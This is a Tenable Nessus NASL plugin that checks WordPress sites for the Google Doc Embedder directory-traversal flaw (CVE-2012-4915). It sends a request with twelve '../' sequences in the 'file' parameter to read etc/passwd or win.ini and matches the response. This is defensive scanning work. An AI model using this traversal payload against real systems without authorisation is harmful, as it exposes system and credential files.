CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
AI Score
Confidence
Low
EPSS
Percentile
98.9%
The Google Doc Embedder Plugin for WordPress installed on the remote host is affected by a file disclosure vulnerability due to a failure to properly sanitize user-supplied input to the ‘file’ parameter of the ‘libs/pdf.php’ script. This vulnerability could allow an unauthenticated, remote attacker to read arbitrary files by forming a request containing directory traversal sequences.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(63687);
script_version("1.9");
script_set_attribute(attribute:"plugin_modification_date", value:"2024/06/05");
script_cve_id("CVE-2012-4915");
script_bugtraq_id(57133);
script_name(english:"Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a file
disclosure vulnerability.");
script_set_attribute(attribute:"description", value:
"The Google Doc Embedder Plugin for WordPress installed on the remote
host is affected by a file disclosure vulnerability due to a failure
to properly sanitize user-supplied input to the 'file' parameter of
the 'libs/pdf.php' script. This vulnerability could allow an
unauthenticated, remote attacker to read arbitrary files by forming a
request containing directory traversal sequences.");
# http://ceriksen.com/2013/01/03/wordpress-google-document-embedder-arbitrary-file-disclosure/
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?369b2772");
script_set_attribute(attribute:"solution", value:
"Upgrade to Google Doc Embedder version 2.5 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'WordPress Plugin Google Document Embedder Arbitrary File Disclosure');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2013/01/03");
script_set_attribute(attribute:"patch_publication_date", value:"2012/12/11");
script_set_attribute(attribute:"plugin_publication_date", value:"2013/01/24");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2013-2024 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("wordpress_detect.nasl");
script_require_keys("installed_sw/WordPress", "www/PHP");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");
app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);
port = get_http_port(default:80, php:TRUE);
install = get_single_install(
app_name : app,
port : port
);
dir = install['path'];
install_url = build_url(port:port, qs:dir);
plugin = 'Google Doc Embedder';
# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);
if (!installed)
{
checks = make_array();
path = "/wp-content/plugins/";
checks[path + "google-document-embedder/js/editor_plugin.js"][0] =
make_list("longname : 'Google Doc Embedder'");
# Ensure plugin is installed
installed = check_webapp_ext(
checks : checks,
dir : dir,
port : port,
ext : plugin
);
}
if (!installed)
audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " plugin");
# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
if ("Windows" >< os) files = make_list('windows/win.ini', 'winnt/win.ini');
else files = make_list('etc/passwd');
}
else files = make_list('etc/passwd', 'windows/win.ini', 'winnt/win.ini');
file_pats = make_array();
file_pats['etc/passwd'] = "root:.*:0:[01]:";
file_pats['winnt/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";
file_pats['windows/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";
foreach file (files)
{
url = "/wp-content/plugins/google-document-embedder/libs/pdf.php?fn=foo.pdf"+
"&file=" + mult_str(str:"../", nb:12) + file;
res = http_send_recv3(
method : "GET",
item : dir + url,
port : port,
exit_on_fail : TRUE
);
if (egrep(pattern:file_pats[file], string:res[2]))
{
if (report_verbosity > 0)
{
snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
report =
'\nNessus was able to verify the issue exists using the following request :' +
'\n' +
'\n' + install_url + url +
'\n';
if (report_verbosity > 1)
{
res[2] = data_protection::redact_etc_passwd(output:res[2]);
report +=
'\n' + 'This produced the following output :' +
'\n' +
'\n' + snip +
'\n' + chomp(res[2]) +
'\n' + snip +
'\n';
}
security_warning(port:port, extra:report);
}
else security_warning(port);
exit(0);
}
}
audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " plugin");